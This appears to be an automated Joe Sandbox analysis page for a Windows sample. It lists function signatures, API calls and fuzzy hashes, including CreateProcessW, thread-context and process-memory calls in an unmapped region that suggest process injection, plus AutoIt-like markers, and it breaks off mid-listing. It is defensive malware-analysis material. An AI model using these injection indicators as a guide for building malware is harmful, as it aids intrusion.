Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 0df2080c780e3035e2ffedd6a6d9d1fb74be8eee9dd3a13bf10a423442a41374
Instruction ID: a441e49ac5579f04bd5a021f7a26e547f2d96f6513cd182d21d26967ebcaa203
Opcode Fuzzy Hash: 0df2080c780e3035e2ffedd6a6d9d1fb74be8eee9dd3a13bf10a423442a41374
Instruction Fuzzy Hash: 42114575611208FFEB208FA4E884EAF7BB8EF45740F008429A902D7210E735AE409B64

Function 00F04FE8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00F05815
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00F05839
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00F0585B

Memory Dump Source

Source File: 00000001.00000002.1289125454.0000000000F03000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F03000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f03000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction ID: 914a28af5f33d1c3bf54c4341ff0f936ded6d15043f64a4d6f2e1d5ee71762e7
Opcode Fuzzy Hash: 75058a4f97cf2fcbd3f6bc15a6ffc08ef8895de4d25848071cc819695d886454
Instruction Fuzzy Hash: EC62F870A14618DAEB24CFA4C841BDEB376EF58700F1091A9D10DEB2D0E7B99E81DF59

Function 0074365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007436B7
_memcpy_s.LIBCMT ref: 00743729
__filbuf.LIBCMT ref: 007437AA
_memset.LIBCMT ref: 007437EE

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: 25276d1f646da7b76298e578b8e053e7e3b96e54df01e447abe6ae266d0f960a
Instruction ID: 28583286f9d478529b54b01d4721453f88f55e457a33963f1815017573e5041f
Opcode Fuzzy Hash: 25276d1f646da7b76298e578b8e053e7e3b96e54df01e447abe6ae266d0f960a
Instruction Fuzzy Hash: E451C2B0A00206EBDB299FA988C566E77B5AF40320F258729F87D962D0D7789F50CF51

Function 0076C396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00724517: _fseek.LIBCMT ref: 0072452F

Part of subcall function 0076C56D: _wcscmp.LIBCMT ref: 0076C65D
Part of subcall function 0076C56D: _wcscmp.LIBCMT ref: 0076C670

_free.LIBCMT ref: 0076C4DD
_free.LIBCMT ref: 0076C4E4
_free.LIBCMT ref: 0076C54F

Part of subcall function 00741C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00747A85), ref: 00741CB1
Part of subcall function 00741C9D: GetLastError.KERNEL32(00000000,?,00747A85), ref: 00741CC3

_free.LIBCMT ref: 0076C557

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: ba9d9782be527324384c8c78457c06db785866cb2d39da853ac3465622bcb420
Instruction ID: 17bee15c5ba226156160a7390f34472bc6270976dc104acf5d2ebaa8151fe50c
Opcode Fuzzy Hash: ba9d9782be527324384c8c78457c06db785866cb2d39da853ac3465622bcb420
Instruction Fuzzy Hash: 3C518DB1A04258EFDF159F64DC85BADBBB9EF48300F1000AEF649E3241DB755A908F58

Function 0073EB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0073EBB2

Part of subcall function 007251AF: _memset.LIBCMT ref: 0072522F
Part of subcall function 007251AF: _wcscpy.LIBCMT ref: 00725283
Part of subcall function 007251AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00725293

KillTimer.USER32(?,00000001,?,?), ref: 0073EC07
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0073EC16
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00793C88

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 9499ebabf8fa2a97ece2eee08a09b222b24a9b9930ceecb0c829dad3468d23db
Instruction ID: 8ba4b031cb756f93dc44220e7092e288bc3a8a54bf2fb484c15ee5facd3d83cd
Opcode Fuzzy Hash: 9499ebabf8fa2a97ece2eee08a09b222b24a9b9930ceecb0c829dad3468d23db
Instruction Fuzzy Hash: 8321AD715047949FFB3297249859BEBBBEC9B46304F04044DD69B562C2C3786E84CB65

Function 0076C71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 0076C72F
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0076C746

Strings

aut, xrefs: 0076C740

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 41682d7ff6c0dcc1b0bebf7fdb61e83ca4961be6f726574c48432cf52b7cab92
Instruction ID: 9dcbe778ebe4ed01125c75ad4b16d8a42ff399b74891716ddf622bff2c576098
Opcode Fuzzy Hash: 41682d7ff6c0dcc1b0bebf7fdb61e83ca4961be6f726574c48432cf52b7cab92
Instruction Fuzzy Hash: CAD05E7550030EABDB20AB90DC0EFCA777CA700708F0041A17651A50F1DAF8EA99CB69

Function 0077F8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3365cf7cb5b71c8ebdd15389da44ad6db2b4e985c355201ccc465596f41953d7
Instruction ID: fe40450bce868700dfc2f7489037b66a4cb29649329ff56135ab0165a3dde2b4
Opcode Fuzzy Hash: 3365cf7cb5b71c8ebdd15389da44ad6db2b4e985c355201ccc465596f41953d7
Instruction Fuzzy Hash: D4F15971608301DFCB10DF24C995B6AB7E5FF88314F14892EF9999B292D738E945CB82

Function 00724FFC Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00725022
Shell_NotifyIconW.SHELL32(00000000,?), ref: 007250CB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: b2ff653fff4034841aaedcf3420b6cfc9955765c59658cd48c491b66d558b345
Instruction ID: 044795a0fc821f76bbb6ff3db347c210cf286ecb165fa9c15028cd9f97dc8a07
Opcode Fuzzy Hash: b2ff653fff4034841aaedcf3420b6cfc9955765c59658cd48c491b66d558b345
Instruction Fuzzy Hash: CA31AEB0605751CFC731DF34E88569BBBE4FF49304F00492EE69A87250E779A944CBA6

Function 0074395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00743973

Part of subcall function 007481C2: __NMSG_WRITE.LIBCMT ref: 007481E9
Part of subcall function 007481C2: __NMSG_WRITE.LIBCMT ref: 007481F3

__NMSG_WRITE.LIBCMT ref: 0074397A

Part of subcall function 0074821F: GetModuleFileNameW.KERNEL32(00000000,007E0312,00000104,00000000,00000001,00000000), ref: 007482B1
Part of subcall function 0074821F: ___crtMessageBoxW.LIBCMT ref: 0074835F

Part of subcall function 00741145: ___crtCorExitProcess.LIBCMT ref: 0074114B
Part of subcall function 00741145: ExitProcess.KERNEL32 ref: 00741154

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

RtlAllocateHeap.NTDLL(00D60000,00000000,00000001,00000001,00000000,?,?,0073F507,?,0000000E), ref: 0074399F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 8d74664c31db072605b17a06b42ea90968bb3727bb59f9bdfbfb3ea10be7d311
Instruction ID: d7b87000c4d1d8dd285b734cbdf277d2bae81a3e56512cc2b45af58d32298ce2
Opcode Fuzzy Hash: 8d74664c31db072605b17a06b42ea90968bb3727bb59f9bdfbfb3ea10be7d311
Instruction Fuzzy Hash: A501B531345245DAE6253B78DC8AA2E334C9F82768F21412AF50D9B2C2DFFCBD4086A5

Function 0076C6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,0076C385,?,?,?,?,?,00000004), ref: 0076C6F2
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,0076C385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 0076C708
CloseHandle.KERNEL32(00000000,?,0076C385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 0076C70F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 267fda01731b1821318dac3a1697a587557c1d076c49ebb3c07af5a2559863f3
Instruction ID: fa58bb3a33af7111d710530770e149063b345f46cab4ae21ffd7369a48329a12
Opcode Fuzzy Hash: 267fda01731b1821318dac3a1697a587557c1d076c49ebb3c07af5a2559863f3
Instruction Fuzzy Hash: DDE08632240218B7DB321B54EC09FDA7B18EB46760F108110FB56694E097B52911879C

Function 0076BB64 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0076BB72

Part of subcall function 00741C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00747A85), ref: 00741CB1
Part of subcall function 00741C9D: GetLastError.KERNEL32(00000000,?,00747A85), ref: 00741CC3

_free.LIBCMT ref: 0076BB83
_free.LIBCMT ref: 0076BB95

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 39668004364d473340041393840801021218cf000de486f58b9632bd51e5be2b
Instruction ID: 6298796d16ab3c372c438a8296807139e095659638cf9c35f7eb9f0aab9e711b
Opcode Fuzzy Hash: 39668004364d473340041393840801021218cf000de486f58b9632bd51e5be2b
Instruction Fuzzy Hash: 86E012E165174186DA2475796E88EB313CC4F06351754081DB85EE7146DF2CE8C085B4

Function 0076BBE8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 0076BC18

Strings

EA06, xrefs: 0076BC46

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __fread_nolock
String ID: EA06
API String ID: 2638373210-3962188686
Opcode ID: 0bed3f9c467b82b56f9bc8395fa216a5f9289523c7449f5faada299522fd2952
Instruction ID: 3c24d1cf31688c9fc033b2dd7e80cd22ba2c75c64629089eedab5fc85eb5843d
Opcode Fuzzy Hash: 0bed3f9c467b82b56f9bc8395fa216a5f9289523c7449f5faada299522fd2952
Instruction Fuzzy Hash: 4A01DD71904258BEDB18C798CC56FEDBBFC9B15305F00455AF557D6181D578E7048B70

Function 00723A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00723A73

Part of subcall function 00741405: __lock.LIBCMT ref: 0074140B

Part of subcall function 00723ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00723AF3
Part of subcall function 00723ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00723B08

Part of subcall function 00723D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00723AA3,?), ref: 00723D45
Part of subcall function 00723D19: IsDebuggerPresent.KERNEL32(?,?,?,?,00723AA3,?), ref: 00723D57
Part of subcall function 00723D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,007E1148,007E1130,?,?,?,?,00723AA3,?), ref: 00723DC8
Part of subcall function 00723D19: SetCurrentDirectoryW.KERNEL32(?,?,?,00723AA3,?), ref: 00723E48

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00723AB3

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
String ID:
API String ID: 924797094-0
Opcode ID: cd3d2e6170fa14464a7a0d7d9960cfbf3a256422e2dd10f36a2ff65392c307e0
Instruction ID: 88936105b4961ef85f7cf40ba2c913d7eaabc036ac7c4d9ab96b191278136bfa
Opcode Fuzzy Hash: cd3d2e6170fa14464a7a0d7d9960cfbf3a256422e2dd10f36a2ff65392c307e0
Instruction Fuzzy Hash: 60119371905385DBC700EF29E84990ABBE9EB98710F40C51EF4858B2A2DB789645CB96

Function 0074E9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 0074EA29
__close_nolock.LIBCMT ref: 0074EA42

Part of subcall function 00747BDA: __getptd_noexit.LIBCMT ref: 00747BDA

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: f59184a454bd0029bb9eb911a6d3dbec4d98ca94bdad02e52bbe6860e14bf0d3
Instruction ID: 399d2a98d040cd04057718ce7153ac1a0cd706e104c93d100990b80cdedfe313
Opcode Fuzzy Hash: f59184a454bd0029bb9eb911a6d3dbec4d98ca94bdad02e52bbe6860e14bf0d3
Instruction Fuzzy Hash: 9011A5B2A05650DAD716BFA4C8853687A61BF82331F268750E4305F1E3CBBC9C40C7A5

Function 0073F4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0074395C: __FF_MSGBANNER.LIBCMT ref: 00743973
Part of subcall function 0074395C: __NMSG_WRITE.LIBCMT ref: 0074397A
Part of subcall function 0074395C: RtlAllocateHeap.NTDLL(00D60000,00000000,00000001,00000001,00000000,?,?,0073F507,?,0000000E), ref: 0074399F

std::exception::exception.LIBCMT ref: 0073F51E
__CxxThrowException@8.LIBCMT ref: 0073F533

Part of subcall function 00746805: RaiseException.KERNEL32(?,?,0000000E,007D6A30,?,?,?,0073F538,0000000E,007D6A30,?,00000001), ref: 00746856

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: da7d245fbc63d3b7946801d0ba4f09741c5c243a9bf339493c7db7ae50421a51
Instruction ID: 86d1c83917fa6693e10eb47f15bdd756e00b1758938c75421212b7422e93bfee
Opcode Fuzzy Hash: da7d245fbc63d3b7946801d0ba4f09741c5c243a9bf339493c7db7ae50421a51
Instruction Fuzzy Hash: 5DF0A47150421EE7E714BF98D8059DE77EC9F02394F608136F90992192DBB89A4086E6

Function 00743839 Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00743868
__lock_file.LIBCMT ref: 00743889

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 45bbb6ba9272350e5525cb5d50dba62832b45e454abe7ae7bcc240636488d850
Instruction ID: bc69bf6b2d7e88f15f222505c39231a3a416e2816dc6cdea61a744bf5ded97c5
Opcode Fuzzy Hash: 45bbb6ba9272350e5525cb5d50dba62832b45e454abe7ae7bcc240636488d850
Instruction Fuzzy Hash: F5018471900209EBCF26AFA58C0999EBB65BF41320F158119F82856161D7398B61DBA1

Function 007435E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

__lock_file.LIBCMT ref: 00743629

Part of subcall function 00744E1C: __lock.LIBCMT ref: 00744E3F

__fclose_nolock.LIBCMT ref: 00743634

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: f25aafb44bb25d410eca8e352e1d0b40d55836df7e739a077acad148f8cc3bf7
Instruction ID: a66527c09c7b5d762541f98639f10bc3d2ec6e8c06884140033b211ae5c2555c
Opcode Fuzzy Hash: f25aafb44bb25d410eca8e352e1d0b40d55836df7e739a077acad148f8cc3bf7
Instruction Fuzzy Hash: F2F0B471901615EADB117F75880A76EBAE06F41330F36C149E429AB2C1CB7C8B019F57

Function 00F04FE5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00F05815
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00F05839
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00F0585B

Memory Dump Source

Source File: 00000001.00000002.1289125454.0000000000F03000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F03000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f03000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction ID: ca505b6861d56edf20efa2246dbd086c08cc437a035d8f7173d3e560795d1cc3
Opcode Fuzzy Hash: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction Fuzzy Hash: 9612DE24E24658C6EB24DF64D8507DEB232EF68300F1090E9910DEB7A5E77A4F81DF5A

Function 0072E8A0 Relevance: 1.7, APIs: 1, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
